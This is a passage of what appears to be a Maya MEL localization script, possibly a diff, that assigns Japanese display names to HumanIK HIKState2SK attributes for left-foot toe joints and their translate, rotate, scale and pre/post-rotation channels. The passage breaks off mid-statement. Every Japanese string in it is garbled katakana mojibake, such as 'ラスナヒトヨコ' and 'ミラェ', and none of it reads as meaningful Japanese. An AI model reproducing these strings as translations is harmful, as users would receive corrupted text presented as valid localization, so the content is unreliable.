+setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2Sy", "ラスナヒトヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2Sz", "ラスナヒトヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2PGX", "ラスナヒトヨコ 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2ROrder", "ラスナヒトヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2SC", "ラスナヒトヨコ 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2IS", "ラスナヒトヨコ 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2ISx", "ラスナヒトヨコ 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2ISy", "ラスナヒトヨコ 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2ISz", "ラスナヒトヨコ 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2PreR", "ラスナヒトヨコ 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2PreRx", "ラスナヒトヨコ 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2PreRy", "ラスナヒトヨコ 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2PreRz", "ラスナヒトヨコ 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2PostR", "ラスナヒトヨコ 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2PostRx", "ラスナヒトヨコ 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2PostRy", "ラスナヒトヨコ 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2PostRz", "ラスナヒトヨコ 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3T", "ラスナヒトヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3Tx", "ラスナヒトヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3Ty", "ラスナヒトヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3Tz", "ラスナヒトヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3R", "ラスナヒトヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3Rx", "ラスナヒトヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3Ry", "ラスナヒトヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3Rz", "ラスナヒトヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3S", "ラスナヒトヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3Sx", "ラスナヒトヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3Sy", "ラスナヒトヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3Sz", "ラスナヒトヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3PGX", "ラスナヒトヨコ 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3ROrder", "ラスナヒトヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3SC", "ラスナヒトヨコ 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3IS", "ラスナヒトヨコ 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3ISx", "ラスナヒトヨコ 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3ISy", "ラスナヒトヨコ 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3ISz", "ラスナヒトヨコ 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3PreR", "ラスナヒトヨコ 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3PreRx", "ラスナヒトヨコ 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3PreRy", "ラスナヒトヨコ 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3PreRz", "ラスナヒトヨコ 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3PostR", "ラスナヒトヨコ 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3PostRx", "ラスナヒトヨコ 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3PostRy", "ラスナヒトヨコ 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3PostRz", "ラスナヒトヨコ 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4T", "ラスナヒトヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4Tx", "ラスナヒトヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4Ty", "ラスナヒトヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4Tz", "ラスナヒトヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4R", "ラスナヒトヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4Rx", "ラスナヒトヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4Ry", "ラスナヒトヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4Rz", "ラスナヒトヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4S", "ラスナヒトヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4Sx", "ラスナヒトヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4Sy", "ラスナヒトヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4Sz", "ラスナヒトヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4PGX", "ラスナヒトヨコ 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4ROrder", "ラスナヒトヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4SC", "ラスナヒトヨコ 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4IS", "ラスナヒトヨコ 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4ISx", "ラスナヒトヨコ 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4ISy", "ラスナヒトヨコ 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4ISz", "ラスナヒトヨコ 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4PreR", "ラスナヒトヨコ 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4PreRx", "ラスナヒトヨコ 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4PreRy", "ラスナヒトヨコ 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4PreRz", "ラスナヒトヨコ 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4PostR", "ラスナヒトヨコ 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4PostRx", "ラスナヒトヨコ 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4PostRy", "ラスナヒトヨコ 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4PostRz", "ラスナヒトヨコ 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1T", "ラスナミ。ヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1Tx", "ラスナミ。ヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1Ty", "ラスナミ。ヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1Tz", "ラスナミ。ヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1R", "ラスナミ。ヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1Rx", "ラスナミ。ヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1Ry", "ラスナミ。ヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1Rz", "ラスナミ。ヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1S", "ラスナミ。ヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1Sx", "ラスナミ。ヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1Sy", "ラスナミ。ヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1Sz", "ラスナミ。ヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1PGX", "ラスナミ。ヨコ 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1ROrder", "ラスナミ。ヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1SC", "ラスナミ。ヨコ 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1IS", "ラスナミ。ヨコ 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1ISx", "ラスナミ。ヨコ 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1ISy", "ラスナミ。ヨコ 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1ISz", "ラスナミ。ヨコ 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1PreR", "ラスナミ。ヨコ 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1PreRx", "ラスナミ。ヨコ 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1PreRy", "ラスナミ。ヨコ 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1PreRz", "ラスナミ。ヨコ 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1PostR", "ラスナミ。ヨコ 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1PostRx", "ラスナミ。ヨコ 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1PostRy", "ラスナミ。ヨコ 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1PostRz", "ラスナミ。ヨコ 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2T", "ラスナミ。ヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2Tx", "ラスナミ。ヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2Ty", "ラスナミ。ヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2Tz", "ラスナミ。ヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2R", "ラスナミ。ヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2Rx", "ラスナミ。ヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2Ry", "ラスナミ。ヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2Rz", "ラスナミ。ヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2S", "ラスナミ。ヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2Sx", "ラスナミ。ヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2Sy", "ラスナミ。ヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2Sz", "ラスナミ。ヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2PGX", "ラスナミ。ヨコ 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2ROrder", "ラスナミ。ヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2SC", "ラスナミ。ヨコ 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2IS", "ラスナミ。ヨコ 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2ISx", "ラスナミ。ヨコ 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2ISy", "ラスナミ。ヨコ 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2ISz", "ラスナミ。ヨコ 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2PreR", "ラスナミ。ヨコ 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2PreRx", "ラスナミ。ヨコ 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2PreRy", "ラスナミ。ヨコ 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2PreRz", "ラスナミ。ヨコ 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2PostR", "ラスナミ。ヨコ 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2PostRx", "ラスナミ。ヨコ 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2PostRy", "ラスナミ。ヨコ 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2PostRz", "ラスナミ。ヨコ 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3T", "ラスナミ。ヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3Tx", "ラスナミ。ヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3Ty", "ラスナミ。ヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3Tz", "ラスナミ。ヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3R", "ラスナミ。ヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3Rx", "ラスナミ。ヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3Ry", "ラスナミ。ヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3Rz", "ラスナミ。ヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3S", "ラスナミ。ヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3Sx", "ラスナミ。ヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3Sy", "ラスナミ。ヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3Sz", "ラスナミ。ヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3PGX", "ラスナミ。ヨコ 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3ROrder", "ラスナミ。ヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3SC", "ラスナミ。ヨコ 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3IS", "ラスナミ。ヨコ 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3ISx", "ラスナミ。ヨコ 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3ISy", "ラスナミ。ヨコ 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3ISz", "ラスナミ。ヨコ 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3PreR", "ラスナミ。ヨコ 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3PreRx", "ラスナミ。ヨコ 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3PreRy", "ラスナミ。ヨコ 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3PreRz", "ラスナミ。ヨコ 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3PostR", "ラスナミ。ヨコ 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3PostRx", "ラスナミ。ヨコ 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3PostRy", "ラスナミ。ヨコ 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3PostRz", "ラスナミ。ヨコ 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4T", "ラスナミ。ヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4Tx", "ラスナミ。ヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4Ty", "ラスナミ。ヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4Tz", "ラスナミ。ヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4R", "ラスナミ。ヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4Rx", "ラスナミ。ヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4Ry", "ラスナミ。ヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4Rz", "ラスナミ。ヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4S", "ラスナミ。ヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4Sx", "ラスナミ。ヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4Sy", "ラスナミ。ヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4Sz", "ラスナミ。ヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4PGX", "ラスナミ。ヨコ 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4ROrder", "ラスナミ。ヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4SC", "ラスナミ。ヨコ 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4IS", "ラスナミ。ヨコ 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4ISx", "ラスナミ。ヨコ 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4ISy", "ラスナミ。ヨコ 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4ISz", "ラスナミ。ヨコ 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4PreR", "ラスナミ。ヨコ 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4PreRx", "ラスナミ。ヨコ 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4PreRy", "ラスナミ。ヨコ 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4PreRz", "ラスナミ。ヨコ 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4PostR", "ラスナミ。ヨコ 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4PostRx", "ラスナミ。ヨコ 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4PostRy", "ラスナミ。ヨコ 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4PostRz", "ラスナミ。ヨコ 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1T", "ラスナチヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1Tx", "ラスナチヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1Ty", "ラスナチヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1Tz", "ラスナチヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1R", "ラスナチヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1Rx", "ラスナチヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1Ry", "ラスナチヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1Rz", "ラスナチヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1S", "ラスナチヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1Sx", "ラスナチヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1Sy", "ラスナチヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1Sz", "ラスナチヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1PGX", "ラスナチヨコ 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1ROrder", "ラスナチヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1SC", "ラスナチヨコ 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1IS", "ラスナチヨコ 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1ISx", "ラスナチヨコ 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1ISy", "ラスナチヨコ 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1ISz", "ラスナチヨコ 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1PreR", "ラスナチヨコ 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1PreRx", "ラスナチヨコ 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1PreRy", "ラスナチヨコ 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1PreRz", "ラスナチヨコ 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1PostR", "ラスナチヨコ 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1PostRx", "ラスナチヨコ 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1PostRy", "ラスナチヨコ 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1PostRz", "ラスナチヨコ 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2T", "ラスナチヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2Tx", "ラスナチヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2Ty", "ラスナチヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2Tz", "ラスナチヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2R", "ラスナチヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2Rx", "ラスナチヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2Ry", "ラスナチヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2Rz", "ラスナチヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2S", "ラスナチヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2Sx", "ラスナチヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2Sy", "ラスナチヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2Sz", "ラスナチヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2PGX", "ラスナチヨコ 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2ROrder", "ラスナチヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2SC", "ラスナチヨコ 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2IS", "ラスナチヨコ 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2ISx", "ラスナチヨコ 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2ISy", "ラスナチヨコ 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2ISz", "ラスナチヨコ 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2PreR", "ラスナチヨコ 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2PreRx", "ラスナチヨコ 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2PreRy", "ラスナチヨコ 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2PreRz", "ラスナチヨコ 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2PostR", "ラスナチヨコ 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2PostRx", "ラスナチヨコ 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2PostRy", "ラスナチヨコ 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2PostRz", "ラスナチヨコ 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3T", "ラスナチヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3Tx", "ラスナチヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3Ty", "ラスナチヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3Tz", "ラスナチヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3R", "ラスナチヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3Rx", "ラスナチヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3Ry", "ラスナチヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3Rz", "ラスナチヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3S", "ラスナチヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3Sx", "ラスナチヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3Sy", "ラスナチヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3Sz", "ラスナチヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3PGX", "ラスナチヨコ 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3ROrder", "ラスナチヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3SC", "ラスナチヨコ 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3IS", "ラスナチヨコ 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3ISx", "ラスナチヨコ 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", 